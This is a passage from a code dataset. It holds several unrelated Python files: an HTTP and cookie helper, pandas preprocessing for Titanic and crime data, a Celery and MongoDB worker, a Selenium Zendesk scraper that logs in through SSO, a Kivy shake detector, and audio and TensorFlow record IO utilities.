self.post_data = None\n self.header = {}\n self.domain = None\n self.operate = None\n self.logger = None\n # init cookie\n self.cookie_jar = cookielib.LWPCookieJar()\n self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie_jar))\n urllib2.install_opener(self.opener)\n\n def set_request_data(self, url_path=None, post_data=None, header=None):\n self.url_path = url_path\n self.post_data = post_data\n self.header = header\n\n def send_request(self, url, data={}, header={}):\n request = urllib2.Request(url, urllib.urlencode(data), header)\n result = urllib2.urlopen(request)\n return result\n\n def get_html_text(self, is_cookie=False):\n if self.post_data == None and self.header == {}:\n request = urllib2.Request(self.url_path)\n elif self.post_data == None:\n request = urllib2.Request(self.url_path, headers=self.header)\n else:\n request = urllib2.Request(self.url_path, urllib.urlencode(self.post_data), self.header)\n result = urllib2.urlopen(request)\n if is_cookie:\n self.operate = self.opener.open(request)\n return result.read()\n\n def save_captcha(self, captcha_url, out_path, save_mode='wb'):\n # 用opener访问验证码地址,获取cookie\n picture = self.opener.open(captcha_url).read()\n # self.mkdirs(out_path)\n local = open(out_path, save_mode)\n local.write(picture)\n local.close()\n\n def get_html(self, url):\n page = urllib.urlopen(url)\n html = page.read()\n return html\n\n # 功能：将文本内容输出至本地\n def output(self, content, out_path, save_mode=\"w\"):\n # self.mkdirs(out_path)\n fw = open(out_path, save_mode)\n fw.write(content)\n fw.close()\n\n def create_logger(self, logger_name, log_file):\n # self.mkdirs(log_file)\n # 创建一个logger\n logger = logging.getLogger(logger_name)\n logger.setLevel(logging.INFO)\n # 创建一个handler，用于写入日志文件\n fh = logging.FileHandler(log_file)\n # 再创建一个handler，用于输出到控制台\n ch = logging.StreamHandler()\n # 定义handler的输出格式formatter\n formatter = logging.Formatter('%(asctime)s | %(name)s | %(levelname)s | %(message)s')\n fh.setFormatter(formatter)\n ch.setFormatter(formatter)\n # 给logger添加handler\n logger.addHandler(fh)\n logger.addHandler(ch)\n self.logger = logger\n return logger\n\n # 创建新目录\n def mkdir(self, path):\n path = path.strip()\n if not os.path.exists(path):\n os.makedirs(path)\n\n def mkdirs(self, path):\n prefix = os.path.dirname(path)\n if not os.path.exists(prefix):\n os.makedirs(prefix)\n\n # 在html中解析重定位结果部分函数\n def redirect_data(self, text):\n p = re.compile('location\\.replace\\([\\'\"](.*?)[\\'\"]\\)')\n login_url = p.search(text).group(1)\n return login_url\n", "sub_path": "common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 3527, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "cookielib.LWPCookieJar", "line_number": 27, "usage_type": "call"}, {"api_name": "urllib2.build_opener", "line_number": 28, "usage_type": "call"}, {"api_name": "urllib2.HTTPCookieProcessor", "line_number": 28, "usage_type": "call"}, {"api_name": "urllib2.install_opener", "line_number": 29, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 37, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 37, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 38, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 43, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 45, "usage_type": "call"}, {"api_name": "urllib2.Request", "line_number": 47, "usage_type": "call"}, {"api_name": "urllib.urlencode", "line_number": 47, "usage_type": "call"}, {"api_name": "urllib2.urlopen", "line_number": 48, "usage_type": "call"}, {"api_name": "urllib.urlopen", "line_number": 62, "usage_type": "call"}, {"api_name": "logging.getLogger", "line_number": 76, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 77, "usage_type": "attribute"}, {"api_name": "logging.FileHandler", "line_number": 79, "usage_type": "call"}, {"api_name": "logging.StreamHandler", "line_number": 81, "usage_type": "call"}, {"api_name": "logging.Formatter", "line_number": 83, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path", "line_number": 99, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 101, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 105, "usage_type": "call"}]} +{"seq_id": "635990932", "text": "import pandas as pd\nimport numpy as np\n\n# csv 불러오기\ntrain = pd.read_csv('./train.csv')\ntest = pd.read_csv('./test.csv')\nsubmission = pd.read_csv('./sampleSubmission.csv')\n\n\n\n# .을 기준으로 텍스트 데이터를 파싱한다. 예)'Braund, Mr. Owen Harris'\ndata['Title'] = data['Name'].str.extract(' ([A-Za-z]+)\\.', expand = False)\n\n\n#나이('Age') 필드를 그룹핑하여 'AgeGroup'필드 생성하여 할당하기\nbins = [0 , 18, 25, 35, 60, 100]\ngroup_names = ['Baby', 'Youth', 'YoungAdult', 'MiddleAged', 'Senior']\ndata['AgeGroup'] = pd.cut(data['Age'], bins, labels=group_names)\ndata['AgeGroup']\n\n# 컬럼에 대한 드롭\ndata.drop(['Name', 'Ticket', 'SibSp', 'Parch', 'Cabin', 'AgeGroup', 'Emabarked'], axis=1, inplace=True)\n\n\n# 텍스트 데이터 숫자 변환 --의미-- 3개의 컬럼의 텍스트 데이터를 카테고리로 묶어서 하나의 컬럼에 넘버링 해줌\n# 타이타닉 데이터에서는 6개의 카테고리로 의미를 나눌 수 있음\n\nfrom sklearn.preprocessing import LabelEncoder\nlabel = LabelEncoder()\n\nfor col in ['Sex', 'Embarked', 'Title']:\n data[col] = label.fit_transform(data[col])\n\n\n# 하나의 데이터를 트레이닝과 테스트 데이터로 나눈다. #성능 체크에 필요\nfrom sklearn.model_selection import train_test_split\n\nx_train, x_valid, y_train, y_valid = train_test_split(data, y, test_size=0.2, random_state = 5, stratify = y)\n\n# 텍스트 날짜 데이터를 날짜형식 데이터로 바꿔주기\ntrain['Dates'] = pd.to_datetime(train['Dates'], format='%Y-%m-%d %H:%M:%S', errors='raise')\n#train['Dates'] = train['Dtate'].astype('datetime64')\n\n\n#날짜 데이터 속성 별로 넣어주기\ntrain['year'] = train['Dates'].dt.year\ntrain['month'] = train['Dates'].dt.month\ntrain['day'] = train['Dates'].dt.day\ntrain['dayofweek'] = train['Dates'].dt.dayofweek\ntrain['hour'] = train['Dates'].dt.hour\ntrain['minute'] = train['Dates'].dt.minute\n\n#람다로 처음 있었던 날로부터 몇일째인지 계산해보기\ntrain['n_days'] = (train['Dates'].dt.date - train['Dates'].dt.date.min()).apply(lambda x: x.days)\ntest['n_days'] = (test['Dates'].dt.date - test['Dates'].dt.date.min()).apply(lambda x: x.days)\n\n", "sub_path": "text_preprocessing/text_preprocessing.py", "file_name": "text_preprocessing.py", "file_ext": "py", "file_size_in_byte": 2191, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "pandas.read_csv", "line_number": 5, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 6, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 7, "usage_type": "call"}, {"api_name": "pandas.cut", "line_number": 18, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.LabelEncoder", "line_number": 29, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 38, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 41, "usage_type": "call"}]} +{"seq_id": "156893242", "text": "\nfrom celery import Celery\nfrom pymongo import MongoClient\nfrom bson.objectid import ObjectId\nfrom dot_delicious import parse_html\nfrom dot_utils import get_date, get_title_from_url, do_update\nfrom dot_utils import auto_tag\nfrom celery.utils.log import get_task_logger\nimport os\n\n\nLAST_UPDATED = '_updated'\n\nlogger = get_task_logger(__name__)\n\n\nmongo_host = os.environ.get('MONGODB_PORT_27017_TCP_ADDR')\nmongo_port = os.environ.get('MONGODB_PORT_27017_TCP_PORT')\n\nMONGO_URL = 'mongodb://' + mongo_host + ':' + mongo_port + '/'\n\nclient = MongoClient(MONGO_URL)\ndb = client.eve\n\n\nREDIS_HOST = os.environ.get('REDIS_PORT_6379_TCP_ADDR')\nREDIS_PORT = os.environ.get('REDIS_PORT_6379_TCP_PORT')\n\nCELERY_BROKER_URL = 'redis://' + REDIS_HOST + ':' + REDIS_PORT\n\ncelery = Celery('dotmarks', broker=CELERY_BROKER_URL)\n\n\n@celery.task()\ndef process_attachment(item):\n if '_id' in item:\n parse_html(item['_id'])\n\n\n@celery.task()\ndef parse_log(item):\n if 'source_id' in item:\n oid = item['source_id']\n if(item['action'] == 'click'):\n db.dotmarks.update(\n {\"_id\": ObjectId(oid)},\n {\"$inc\": {\"views\": 1}, \"$set\": {LAST_UPDATED: get_date()}},\n upsert=False)\n\n if(item['action'] == 'star'):\n updates = {'star': 'true' in item['value']}\n do_update(oid, updates)\n\n\n@celery.task()\ndef populate_dotmark(item):\n logger.info(\"processing %s\" % item['url'])\n updates = {}\n if 'url' and '_id' in item:\n if 'title' not in item or not item['title']:\n updates['title'] = get_title_from_url(item['url'])\n item['title'] = updates['title']\n\n atags = auto_tag(item)\n if atags:\n updates['atags'] = atags\n\n if updates:\n do_update(item['_id'], updates)\n", "sub_path": "src/workers/postworker.py", "file_name": "postworker.py", "file_ext": "py", "file_size_in_byte": 1810, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "celery.utils.log.get_task_logger", "line_number": 14, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 17, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 17, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 18, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "pymongo.MongoClient", "line_number": 22, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 26, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 26, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 27, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 27, "usage_type": "attribute"}, {"api_name": "celery.Celery", "line_number": 31, "usage_type": "call"}, {"api_name": "dot_delicious.parse_html", "line_number": 37, "usage_type": "call"}, {"api_name": "celery.task", "line_number": 34, "usage_type": "call"}, {"api_name": "bson.objectid.ObjectId", "line_number": 46, "usage_type": "call"}, {"api_name": "dot_utils.get_date", "line_number": 47, "usage_type": "call"}, {"api_name": "dot_utils.do_update", "line_number": 52, "usage_type": "call"}, {"api_name": "celery.task", "line_number": 40, "usage_type": "call"}, {"api_name": "dot_utils.get_title_from_url", "line_number": 61, "usage_type": "call"}, {"api_name": "dot_utils.auto_tag", "line_number": 64, "usage_type": "call"}, {"api_name": "dot_utils.do_update", "line_number": 69, "usage_type": "call"}, {"api_name": "celery.task", "line_number": 55, "usage_type": "call"}]} +{"seq_id": "186003460", "text": "from selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nimport time\nfrom datetime import datetime\nimport os\nimport copy\n\nclass Zendesk:\n def __init__(self, chrome_driver, info):\n self.Options = Options\n self.options = self.Options()\n self.options.add_argument(\"--headless\")\n self.options.add_argument(\"--window-size=1920x1080\")\n self.chrome_driver = chrome_driver\n self.driver = webdriver.Chrome(options = self.options, executable_path = self.chrome_driver)\n self.driver.implicitly_wait(5)\n self.info = info\n \n def call_zdesk(self):\n self.driver.get(self.info.z_url)\n \n def verify_page(self):\n if (self.driver.title == 'SailPoint IdentityNow'):\n self.handle_sso()\n elif (self.driver.title == 'SailPoint Support - Agent'):\n pass\n else:\n raise ValueError('Unable to verify page')\n \n def handle_sso(self):\n # SSO page #1\n try:\n username_tag = self.driver.find_element_by_id('username')\n password_tag = self.driver.find_element_by_id('password')\n btn_tag = self.driver.find_element_by_xpath(\"//button[@type='submit']/span\")\n except:\n self.screen_shot('sso_page1')\n raise ValueError('Unable to find page elements on SSO page #1')\n try:\n username_tag.send_keys(self.info.user)\n password_tag.send_keys(self.info.pw)\n btn_tag.click()\n except:\n self.screen_shot('sso_page1')\n raise ValueError('Unable to interact with page elements on SSO page #1')\n # SSO page #2\n try:\n duo_push_tag = WebDriverWait(self.driver, 10).until(EC.presence_of_element_located((By.XPATH, \"//button[contains(text(), 'Duo Push to iOS')]\")))\n except:\n self.screen_shot('sso_page2')\n raise ValueError('Unable to find page elements on SSO page #2')\n try:\n duo_push_tag.click()\n except:\n self.screen_shot('sso_page2')\n raise ValueError('Unable to interact with page elements on SSO page #2')\n # SSO page #3\n try:\n send_tag = WebDriverWait(self.driver, 10).until(EC.presence_of_element_located((By.NAME, \"Login.Submit\")))\n except:\n self.screen_shot('sso_page3')\n raise ValueError('Unable to find page elements on SSO page #3')\n try:\n print('DUO REQUEST SENT. AWAITING DUO 2FA APPROVAL')\n send_tag.click()\n except:\n self.screen_shot('sso_page3')\n raise ValueError('Unable to interact with page elements on SSO page #3')\n # verify Zendesk came up\n try:\n zdesk_title = WebDriverWait(self.driver, 30).until(lambda x: 'SailPoint Support - Agent' in self.driver.title)\n self.screen_shot('zdesk_post_sso_success')\n except:\n self.screen_shot('zdesk_post_sso')\n raise ValueError('Zendesk page not found/present')\n \n def scrape_elements(self):\n data_list = []\n data_model = {\n 'status': '',\n 'id': '',\n 'subject': '',\n 'updated': '',\n 'severity': '',\n 'nccd': ''\n }\n xpath_row = \"//table[@id='table5']/tbody/tr[@class='LRcn'][\"\n xpath_data = \"]/td[@class='LRf LRdc LRw LRdd LRde LRdf LRbr LRcl LRab LRci LRdg LRel LRem LRen LRdv LRdw LRbx']\"\n # status = 2, ID = 3, subject = 4, updated = 7, severity = 8, NCCD = 10\n r = 1\n while True:\n data = copy.deepcopy(data_model)\n stat = self.driver.find_element_by_xpath(xpath_row + str(r) + xpath_data + \"[2]\")\n if (stat is None):\n break\n if stat == 'O':\n data['status'] = 'Open'\n elif stat == 'P':\n data['status'] = 'Pending'\n elif stat == 'H':\n data['status'] = 'On-Hold'\n elif stat == 'S':\n data['status'] = 'Solved'\n else:\n raise ValueError(\"'stat' value = \" + stat)\n data['id'] = self.driver.find_element_by_xpath(xpath_row + str(r) + xpath_data + \"[3]\")\n data['subject'] = self.driver.find_element_by_xpath(xpath_row + str(r) + xpath_data + \"[4]\")\n data['updated'] = self.driver.find_element_by_xpath(xpath_row + str(r) + xpath_data + \"[7]\")\n data['severity'] = self.driver.find_element_by_xpath(xpath_row + str(r) + xpath_data + \"[8]\")\n data['nccd'] = self.driver.find_element_by_xpath(xpath_row + str(r) + xpath_data + \"[10]\")\n data_list.append(data)\n r += 1\n return data_list\n \n def screen_shot(self, filename):\n now = datetime.now()\n nownow = now.strftime('%d-%m-%Y_%H:%M:%S')\n folder = os.getcwd() + \"/captures\"\n self.driver.save_screenshot(folder + '/' + filename + nownow + '.png')\n\n def done(self, c=True):\n if c:\n self.driver.close()\n else:\n self.driver.quit()", "sub_path": "logic/zendesk.py", "file_name": "zendesk.py", "file_ext": "py", "file_size_in_byte": 5290, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "selenium.webdriver.chrome.options.Options", "line_number": 13, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 18, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 18, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 51, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 51, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 51, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.XPATH", "line_number": 51, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 51, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 62, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions.presence_of_element_located", "line_number": 62, "usage_type": "call"}, {"api_name": "selenium.webdriver.support.expected_conditions", "line_number": 62, "usage_type": "name"}, {"api_name": "selenium.webdriver.common.by.By.NAME", "line_number": 62, "usage_type": "attribute"}, {"api_name": "selenium.webdriver.common.by.By", "line_number": 62, "usage_type": "name"}, {"api_name": "selenium.webdriver.support.ui.WebDriverWait", "line_number": 74, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 95, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 119, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 119, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 121, "usage_type": "call"}]} +{"seq_id": "25029283", "text": "from collections import deque\n\nfrom kivy.clock import Clock\n\ntry:\n import android\n\n class ShakeDetector(object):\n\n def __init__(self):\n android.accelerometer_enable(True)\n Clock.schedule_interval(self.detect_motion, 0.1)\n self.last = None\n self.history = deque()\n self.shake_callback = None\n self.enabled = True\n\n def unlock(self, *args):\n self.enabled = True\n\n def lock(self, timeout):\n self.enabled = False\n Clock.schedule_once(self.unlock, timeout)\n\n def detect_motion(self, *args):\n if self.enabled:\n accel = android.accelerometer_reading()\n if self.last:\n diff = sum(accel) - sum(self.last)\n\n history_size = 10\n movement_threshold = 5\n if len(self.history) == history_size:\n self.history.popleft()\n self.history.append(abs(diff))\n\n if len(self.history) == history_size:\n rolling_average = sum(self.history) / len(self.history)\n if rolling_average > movement_threshold:\n self.lock(2)\n self.history.clear()\n self.shake_callback(rolling_average)\n\n self.last = accel\n\n def on_shake(self, callback):\n self.shake_callback = callback\n\nexcept ImportError:\n class ShakeDetector(object):\n def on_shake(self, callback):\n pass\n", "sub_path": "shake.py", "file_name": "shake.py", "file_ext": "py", "file_size_in_byte": 1612, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "android.accelerometer_enable", "line_number": 11, "usage_type": "call"}, {"api_name": "kivy.clock.Clock.schedule_interval", "line_number": 12, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 12, "usage_type": "name"}, {"api_name": "collections.deque", "line_number": 14, "usage_type": "call"}, {"api_name": "kivy.clock.Clock.schedule_once", "line_number": 23, "usage_type": "call"}, {"api_name": "kivy.clock.Clock", "line_number": 23, "usage_type": "name"}, {"api_name": "android.accelerometer_reading", "line_number": 27, "usage_type": "call"}]} +{"seq_id": "103223321", "text": "from setuptools import setup, find_packages\n\nimport acsconv\n\n\ndef readme():\n with open('README.md', encoding='utf-8') as f:\n content = f.read()\n return content\n\nwith open('requirements.txt', 'r') as f:\n requirements = f.readlines()\n\nsetup(\n name='ACSConv',\n version=acsconv.__version__,\n url='https://github.com/M3DV/ACSConv',\n license='Apache-2.0 License',\n author='Jiancheng Yang and Xiaoyang Huang',\n author_email='jekyll4168@sjtu.edu.cn',\n description='[IEEE JBHI] Reinventing 2D Convolutions for 3D Images',\n long_description=readme(),\n install_requires=requirements,\n packages=find_packages(),\n zip_safe=True\n)", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 665, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "17", "api": [{"api_name": "setuptools.setup", "line_number": 14, "usage_type": "call"}, {"api_name": "acsconv.__version__", "line_number": 16, "usage_type": "attribute"}, {"api_name": "setuptools.find_packages", "line_number": 24, "usage_type": "call"}]} +{"seq_id": "151755229", "text": "\"\"\"File IO.\"\"\"\nimport collections\nimport gzip\nimport hashlib\nimport itertools\nimport json\nimport os\nimport subprocess\n\n# from audioread.exceptions import NoBackendError\nfrom scipy.io import arff\n# import librosa\nimport numpy as np\n# import sox\n# import webrtcvad\nimport yaml\n\n\nTFRECORD_COMPRESSION = \"GZIP\"\nSUBPROCESS_BATCH_SIZE = 5000\n\ndef run_command(cmd):\n process = subprocess.run(\n cmd.split(\" \"),\n check=True,\n stdout=subprocess.PIPE\n )\n return process.stdout.decode(\"utf-8\").rstrip()\n\ndef run_for_files(cmd, filepaths, batch_size=SUBPROCESS_BATCH_SIZE):\n # Run in batches\n for begin in range(0, len(filepaths), batch_size):\n batch = ' '.join(filepaths[begin:begin+batch_size])\n yield run_command(cmd + ' ' + batch)\n\ndef read_wavfile(path, **librosa_kwargs):\n if \"sr\" not in librosa_kwargs:\n # Detect sampling rate if not specified\n librosa_kwargs[\"sr\"] = None\n try:\n return librosa.core.load(path, **librosa_kwargs)\n except (EOFError, NoBackendError):\n return None, 0\n\ndef read_arff_features(path, include_keys=None, exclude_keys=None, types=None):\n if types is None:\n types = {\"numeric\"}\n if exclude_keys is None:\n exclude_keys = {\"frameTime\"}\n data, meta = arff.loadarff(path)\n keys = [\n key for key, type in zip(meta.names(), meta.types())\n if (include_keys is None or key in include_keys) and key not in exclude_keys and type in types\n ]\n assert all(data[key].shape == data[keys[0]].shape for key in keys), \"inconsistent dimensions in arff file, expected all to have shape {}\".format(data[keys[0]].shape)\n feats = np.vstack([data[key] for key in keys if not np.any(np.isnan(data[key]))])\n return feats.T, keys\n\ndef write_wav(path, wav):\n signal, rate = wav\n librosa.output.write_wav(path, signal, rate)\n\ndef get_samplerate(path, **librosa_kwargs):\n return librosa.core.get_samplerate(path, **librosa_kwargs)\n\ndef get_audio_type(path):\n try:\n return sox.file_info.file_type(path)\n except sox.core.SoxiError:\n return None\n\ndef md5sum(path):\n with open(path, \"rb\") as f:\n return hashlib.md5(f.read()).hexdigest()\n\ndef all_md5sums(paths, num_workers=32):\n from multiprocessing import Pool\n with Pool(num_workers) as pool:\n return pool.map(md5sum, paths)\n\ndef load_gzip_json(path):\n with gzip.open(path, mode=\"rt\", encoding=\"utf-8\") as f:\n return json.load(f)\n\ndef dump_gzip_json(data, path):\n with gzip.open(path, \"wb\") as f:\n json_str = json.dumps(data, sort_keys=True, indent=2)\n f.write(json_str.encode(\"utf-8\"))\n\ndef append_json(data, path):\n if os.path.exists(path):\n with open(path) as f:\n data_list = json.load(f)\n else:\n data_list = []\n data_list.append(data)\n with open(path, \"w\") as f:\n json.dump(data_list, f)\n\ndef load_yaml(path):\n with open(path) as f:\n return yaml.safe_load(f)\n\ndef write_utterance(utterance, basedir):\n label, (wav, rate) = utterance\n filename = hashlib.md5(bytes(wav)).hexdigest() + '.npy'\n with open(os.path.join(basedir, filename), \"wb\") as out_file:\n np.save(out_file, (label, (wav, rate)), allow_pickle=True, fix_imports=False)\n\ndef load_utterance(path):\n with open(path, \"rb\") as np_file:\n data = np.load(np_file, allow_pickle=True, fix_imports=False)\n return data[0], (data[1][0], data[1][1])\n\ndef load_utterances(basedir):\n for path in os.listdir(basedir):\n yield load_utterance(os.path.join(basedir, path))\n\ndef load_audiofile_paths(pathlist_file):\n with open(pathlist_file) as f:\n for line in f:\n split = line.split()\n wavpath, rest = split[0].strip(), split[1:]\n wav, _ = read_wavfile(wavpath)\n if wav is not None:\n yield wavpath, rest\n\ndef concatenate_wavs(wavs):\n assert len(wavs) > 0, \"Nothing to concatenate\"\n assert all(rate == wavs[0][1] for _, rate in wavs), \"Cannot concatenate wavfiles with different sampling rates\"\n rate = wavs[0][1]\n return np.concatenate([wav for wav, _ in wavs]), rate\n\ndef get_most_recent_file(directory):\n # Get path object with greatest unix timestamp\n files = (f for f in os.scandir(directory) if f.is_file())\n return max(files, key=lambda d: d.stat().st_mtime).name\n\ndef feat_vec_to_example(feat_vec, onehot_label_vec):\n \"\"\"\n Encode a single feat_vec and its label as a TensorFlow SequenceExample.\n \"\"\"\n import tensorflow as tf\n def float_vec_to_float_features(v):\n return tf.train.Feature(float_list=tf.train.FloatList(value=v))\n def feat_vec_to_floatlist_features(seq):\n float_features = (tf.train.Feature(float_list=tf.train.FloatList(value=frame)) for frame in seq)\n return tf.train.FeatureList(feature=float_features)\n # Time-independent context for time-dependent sequence\n context_definition = {\n \"target\": float_vec_to_float_features(onehot_label_vec),\n }\n context = tf.train.Features(feature=context_definition)\n # Sequence frames as a feature list\n feature_list_definition = {\n \"inputs\": feat_vec_to_floatlist_features(feat_vec),\n }\n feature_lists = tf.train.FeatureLists(feature_list=feature_list_definition)\n return tf.train.SequenceExample(context=context, feature_lists=feature_lists)\n\ndef sequence_example_to_model_input(seq_example_string, num_labels, feat_shape):\n \"\"\"\n Decode a single sequence example string as an (input, target) pair to be fed into a model being trained.\n \"\"\"\n import tensorflow as tf\n context_definition = {\n \"target\": tf.io.FixedLenFeature(shape=[num_labels], dtype=tf.float32),\n }\n sequence_definition = {\n \"inputs\": tf.io.FixedLenSequenceFeature(shape=feat_shape[1:], dtype=tf.float32)\n }\n context, sequence = tf.io.parse_single_sequence_example(\n seq_example_string,\n context_features=context_definition,\n sequence_features=sequence_definition\n )\n return sequence[\"inputs\"], context[\"target\"]\n\ndef write_features(features, target_path):\n import tensorflow as tf\n # Peek the dimensions from the first sample\n feat_vec, onehot_label = next(features)\n features_meta = {\n \"feat_vec_shape\": feat_vec.shape,\n \"num_labels\": len(onehot_label)\n }\n target_path += \".tfrecord\"\n with open(target_path + \".meta.json\", 'w') as meta_file:\n json.dump(features_meta, meta_file)\n meta_file.write(\"\\n\")\n # Put back the first sample\n features = itertools.chain([(feat_vec, onehot_label)], features)\n # Write all samples\n with tf.io.TFRecordWriter(target_path, options=TFRECORD_COMPRESSION) as record_writer:\n c = collections.Counter()\n for feat_vec, onehot_label in features:\n c[feat_vec.shape] += 1\n example = feat_vec_to_example(feat_vec, onehot_label)\n record_writer.write(example.SerializeToString())\n print(\"feature shape histogram, length:\", len(c), \", 5 most common shapes:\", c.most_common(5))\n return target_path\n\ndef features_to_example(features, onehot_label_vec):\n import tensorflow as tf\n def float_vec_to_float_features(v):\n return tf.train.Feature(float_list=tf.train.FloatList(value=v))\n features_definition = {\n \"input\": float_vec_to_float_features(features),\n \"target\": float_vec_to_float_features(onehot_label_vec),\n }\n return tf.train.Example(features=tf.train.Features(feature=features_definition))\n\ndef example_to_model_input(example_string, num_labels, num_features):\n import tensorflow as tf\n features_definition = {\n \"input\": tf.io.FixedLenFeature(shape=[num_features], dtype=tf.float32),\n \"target\": tf.io.FixedLenFeature(shape=[num_labels], dtype=tf.float32),\n }\n example = tf.io.parse_single_example(example_string, features_definition)\n return example[\"input\"], example[\"target\"]\n\n# def write_features(features, target_path):\n# import tensorflow as tf\n# target_path += \".tfrecord\"\n# feat, onehot_label = next(features)\n# assert feat.ndim == 2, \"Unexpected dimensions '{}' for dataset containing 1-dim feature vectors\".format(feat.ndim)\n# features_meta = {\n# \"num_features\": feat.size,\n# \"num_labels\": len(onehot_label)\n# }\n# with open(target_path + \".meta.json\", 'w') as meta_file:\n# json.dump(features_meta, meta_file)\n# meta_file.write(\"\\n\")\n# features = itertools.chain([(feat, onehot_label)], features)\n# with tf.io.TFRecordWriter(target_path, options=TFRECORD_COMPRESSION) as record_writer:\n# for feat, onehot_label in features:\n# example = features_to_example(feat, onehot_label)\n# record_writer.write(example.SerializeToString())\n# return target_path\n\ndef count_all_features(features_file):\n from tensorflow import device\n with device(\"/CPU:0\"):\n dataset, meta = load_features_as_dataset([features_file])\n return int(dataset.reduce(0, lambda count, _: count + 1)), meta\n\ndef count_all_features_parallel(labels, features_files, num_workers=None):\n from multiprocessing import Pool\n assert len(labels) == len(features_files)\n if num_workers is None:\n num_workers = len(features_files)\n with Pool(num_workers) as pool:\n return zip(labels, pool.map(count_all_features, features_files))\n\ndef load_features_meta(tfrecord_path):\n with open(tfrecord_path + \".meta.json\") as f:\n return json.load(f)\n\ndef load_features_as_dataset(tfrecord_paths, training_config=None):\n import tensorflow as tf\n if training_config is None:\n training_config = {}\n # All labels should have features of same dimensions\n features_meta = load_features_meta(tfrecord_paths[0])\n # assert all(features_meta == load_features_meta(record_path) for record_path in tfrecord_paths), \"All labels should have features with equal dimensions\"\n num_labels = features_meta[\"num_labels\"]\n feat_shape = features_meta[\"feat_vec_shape\"]\n example_parser_fn = lambda example_str: sequence_example_to_model_input(example_str, num_labels, feat_shape)\n def parse_compressed_tfrecords(paths):\n d = tf.data.TFRecordDataset(paths, compression_type=TFRECORD_COMPRESSION)\n if \"parallel_parse\" in training_config:\n d = d.map(example_parser_fn, num_parallel_calls=training_config[\"parallel_parse\"])\n else:\n d = d.map(example_parser_fn)\n return d\n def parse_label(path):\n return os.path.basename(path).split(\".tfrecord\")[0]\n label_weights = training_config.get(\"label_weights\")\n if label_weights:\n if isinstance(label_weights, list):\n assert len(label_weights) == len(tfrecord_paths), \"Amount of label draw probabilities should match amount of tfrecord files\"\n else:\n assert isinstance(label_weights, float), \"If the label weights are not a list, it should be a single float that will be assigned as a weight to all labels\"\n # Uniform dist.\n label_weights = dict(zip((parse_label(p) for p in tfrecord_paths), itertools.repeat(label_weights)))\n # Assign a higher probability for drawing a more rare sample by inverting ratios of label to total num labels\n draw_prob = {label: 1.0/w for label, w in label_weights.items()}\n # Normalize into a probability distribution\n tot = sum(draw_prob.values())\n draw_prob = {label: inv_w/tot for label, inv_w in draw_prob.items()}\n # Assume .tfrecord files have been named by label\n weights = [draw_prob[parse_label(path)] for path in tfrecord_paths]\n # Assume each tfrecord file contains features only for a single label\n label_datasets = [parse_compressed_tfrecords([path]) for path in tfrecord_paths]\n if \"repeat\" in training_config:\n label_datasets = [d.repeat(count=training_config[\"repeat\"]) for d in label_datasets]\n dataset = tf.data.experimental.sample_from_datasets(label_datasets, weights=weights)\n else:\n dataset = parse_compressed_tfrecords(tfrecord_paths)\n if \"repeat\" in training_config:\n 